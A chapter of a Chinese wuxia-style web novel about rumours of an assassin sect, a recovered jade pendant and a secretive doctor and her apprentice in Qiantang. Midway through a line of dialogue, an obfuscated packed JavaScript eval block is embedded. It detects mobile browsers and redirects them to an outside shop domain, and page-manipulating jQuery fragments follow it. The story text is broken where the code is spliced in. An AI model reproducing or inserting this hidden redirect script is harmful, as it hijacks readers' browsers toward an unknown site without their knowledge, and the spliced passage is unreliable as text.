1. 风起钱塘
    冰冷的水灌进喉咙,将她的心脏死死扼住。四周是重重的倒吊鬼影,映着水波向她荡来。

    “叮...叮...”耳边隐隐传来风铃的声音,像是来自远古的呼唤。那股异香带着寒意钻进身体,如蛆附骨。她艰难地伸出手,却始终够不到水面。

    身体开始结冰了。

    扑通一声,一个人跳入了水中,一把把她拉了上来。她大口喘着气,压□□内翻涌的气海,往旁边看去。

    天光渐亮,风轻轻拍着竹门,发出吱呀的响声。她掀开帷帐,感受到暑气从地底蒸腾上来。

    看来仲夏要到了。

    梅雨季节一过,长宁街上便陆陆续续塞满了人。空气中弥漫着茶点和饴糖的香气,各个商铺的吆喝声此起彼伏。阳光从树缝里洒落下来,一半落在地上,一半落在河里。

    突然,一个穿着棕色布衣的人疾驰而过,热闹的长街突然安静,只剩下马蹄的嗒嗒声。过了半晌,人声才陆陆续续响起,好像打鼾惊醒的人又陷入了沉睡。

    街角的粥铺里,一位宾客拿起勺子,把粥上的灰尘挑去,不满道:“刚才冲过去的是谁呀?也太嚣张了!”

    “无忧门啊,你不知道啊?我跟你说,这可是现今武林势力最大的帮派啦!”

    话头一开,宾客们开始七嘴八舌议论起来,一时间竟分不清哪句话是从哪个人嘴里说出来的。

    “门内个个都是顶尖的杀手,难得的是,他们每人练的都是武林中失传已久的武功,还个个都不一样呢。”

    “寻常杀手都是黑衣蒙面,他们可不一样,恨不得在脑门上贴张告示,昭告全天下!你说奇不奇怪?”

    一壮汉灌了一碗酒入肚,‘砰’地一声将碗扣在了桌上,怒道:“不过是一帮为了钱财杀人越货的匪贼,还敢号称是江湖帮派,真不要脸,这江湖是越来越没意思了!”

    同桌的青年讽刺道:“那也是人家有本事,才吸引了这么多青年才俊加入无忧门,有银子赚还能学到武功,谁不想要啊?给你你不要?”

    那壮汉猛地一拍桌子,粗声道:“你再给老子说一遍!”

    眼看着两个人快要打起来,小二忙过来赔笑脸:“哎哎,各位爷这大清早的别动气啊。来来来,这是老板送二位的点心,消消气,消消气啊。”

    店外放着三车货物,镖师们在车旁临时架了个竹桌,正围着桌吃饭。其中一人听罢,嘲讽道:“这些人如此嚣张,看来这位门主不简单啊,武功很高?”

    一旁的镖师连忙扣了下桌子,轻声说:“别说了,你不怕被找麻烦啊。”

    王镖头压了压嗓子,低声说道:“谁都没有见过这位门主,他每次见人都是一身黑袍裹着,什么都看不出来。”

    “难道就没人好奇?”

    “有啊!曾经有个门徒喝醉了,跟同伴吹牛打赌,说自己轻功绝顶落地无痕,肯定能看到他的脸。于是,那人漏夜去了他房间,想看一看他到底长什么样。你猜怎么着?当晚就被挖了眼睛剁了手,第二天尸块像风铃一样被挂在大堂,吊了整整三天三夜。之后再也没人敢好奇了,连说都不敢说呢。”

    众人一听,纷纷沉默下来,他们低头看着桌上未吃完的饭菜,忽然觉得自己真是自讨苦吃。

    “哟各位大老板们,你们每天都说这些不无聊吗?”一道清亮的声音传来,镖师们环视四周,却并未见到女子的身影。

    又听到一声“这儿这儿呢”,镖师们循声望去,原来这声音是从河对面传来的。

    只见一位红衣女子倚在二楼的围栏边,头发随意地用红布绑了辫子,挽成发髻坠在脑后,右侧插了一对金簪,眼波流转,笑意盈盈,明艳得像四月初绽的海棠。

    王镖头爽朗一笑,说道:“哟,这不是曲老板吗?瞧您这话说的,生活不也是重复吗,重复着生,重复着死。您今天怎么打扮得这么素净,不像您的风格啊。”

    曲揽月笑道:“荤菜吃久了就得换换素的,这道理您比我更明白吧?”

    镖师们哈哈大笑起来,端起酒碗一饮而尽,起身开始今日的走镖了。

    曲揽月转身走进房间,仔细关严了门,走到桌前点了一支檀香。

    阳光透过窗棂进入屋内,一位戴着幕篱的女子正坐在桌边喝茶。她穿着紫色的长衫,袖口和裙边用金线绣了梅花的纹样。虽然幕篱几乎把她整个人都遮住了,但依然能让人感觉到她隐隐散发出的冷气。

    她开口:“托你查的事情有眉目了吗?”

    “那件事倒是毫无进展,但是我发现了其他的。你看这是什么?”曲揽月摊开手,掌心躺着一块兰花形状的暖玉,质地温润却雕刻粗糙,边缘略有磨损,依稀可以看出岁月的痕迹。

    那女子忽地站了起来,裙边带倒椅子砸在了地板上,引来了楼下的一声咒骂。

    “你怎么不早拿出来?”

    曲揽月狡黠一笑,对着阳光晃了晃那暖玉,那玉经光线一照,竟还让人瞧出了几分清透来,的确是个好物件。

    她拿在手里掂了掂,叹道:“别紧张,这不是想让你先放松一下吗。谁知道你在我这相思楼最上等的厢房里都只会喝茶发呆,看来还不如早给你算了,还能见到点人气儿。”

    “这事关我妹妹,你要我如何放松?”女子抢过玉佩,小心放在手里看了看,“确实是她的东西...玉的质地也没错,你到底是在哪找到的?”

    曲揽月坐下,饮了口茶,说道:“一个月前,镇上来了个卖货的小子,看打扮是从西域来的。他带了很多珍贵的药材和珠宝,平时就住在悦来客栈,天气好的时候会下楼摆摊。我前段时间去悦来的时候,发现这块玉居然在他身上,于是我就派茯苓盯着,昨日他去裕兴当铺后,茯苓就把这玉赎了回来。”

    桌上放着几幅药,曲揽月拿起两包掂了掂,叹了口气又放下:“这么多年你都快把自己试成药人了,还是解不了那毒,甚至连那毒是什么都不知道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367762|140919||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。是药三分毒,你现在的生活不也...”

    话音未落,她感觉到屋内突然又冷了一点,曲揽月连忙打住,悻悻地把药推到了女子面前。

    女子拿起药包,往桌上放了一锭银子,转身就往楼下走去。

    走到一半,她像是想起了什么,又回身说道:“对了,你这楼还是再好好修修吧,隔声差得很。下次我要是再多掉个杯子碟子的什么的,我的医馆就得再多名贵客求药了。”

    曲揽月冷笑一声,狠狠在地上碾了几脚。

    *

    长宁街的东边有一家医馆,医馆边上挨着下属的药铺,东边较西边冷清一些,但最东边的那间却是整条街消费额最高的店—百草堂。

    百草堂的林大夫是四年前来到钱塘的,店里除了有个小学徒外,就没别的伙计。

    一开始没人看好百草堂的发展,一来价格高昂,老百姓都负担不起,可见医馆没有济世的心;二来大夫看病用的是悬丝诊脉,从不露面,怕是心里有鬼。

    但出人意料的是,百草堂一开张就以高额诊金吸引了不少当地的富商,后来因解决了金玉山庄三公子的顽疾,逐渐闻名钱塘。

    因诊金昂贵,来百草堂的病人大多都身患奇症,但经林大夫之手就没有不痊愈的,久而久之,便也有京城的达官贵人前来求药了。

    后来,大家也就接受了这个事实:也许高明的医者会有一些怪癖。

    一日过半,终于把这破店打扫干净了。明昭得意一笑,猛地把扫帚一扔,舒了一口气坐下。但干完了这件事,她的心又开始躁动了。

    她站起来,屋里屋外转了一圈,看着桌上不知被自己翻了多少遍的《黄帝内经》[1],还有这不知打扫了多少遍的百草堂。

    明昭的脑子转起来,开始思考每日都会出现在脑海中的问题:我为什么要天天做这事?

    我好像......忘记了什么,是什么呢?

    正当她心海翻涌,仿佛有什么东西就要穿透迷雾,破土而出的时候。一道人影闪进了店中,速度之快,连带着门外的草絮粉尘一齐扫入店内。

    明昭还没看清楚是谁,只听到一声“收拾一下,今天提前打烊,我们去悦来客栈。”

    听到这话,明昭的火气突然上涌,什么想法也顾不得了,愤怒道:“林絮,你知不知道我刚拖完地?本姑娘忙活了一天刚坐下来歇歇,这地就被你踏成这样。以后的洒扫全部你来,我不干了!”

    话音未落,明昭的头便已挨了一记。

    “没大没小,怎么跟师父说话呢。”

    明昭气极,刚想回嘴,突然意识到什么,疑惑道:“不对,这么多年我们几乎没一起出门过,你今天怎么回事?”

    鸟鸣声和吆喝声从对岸传来,隔壁的点心铺又蒸上了一笼热腾腾的包子。

    林絮看着明昭,忽然感到前所未有的轻松,笑道:“你不是总嫌这里无聊吗?或许我们很快就会离开了。”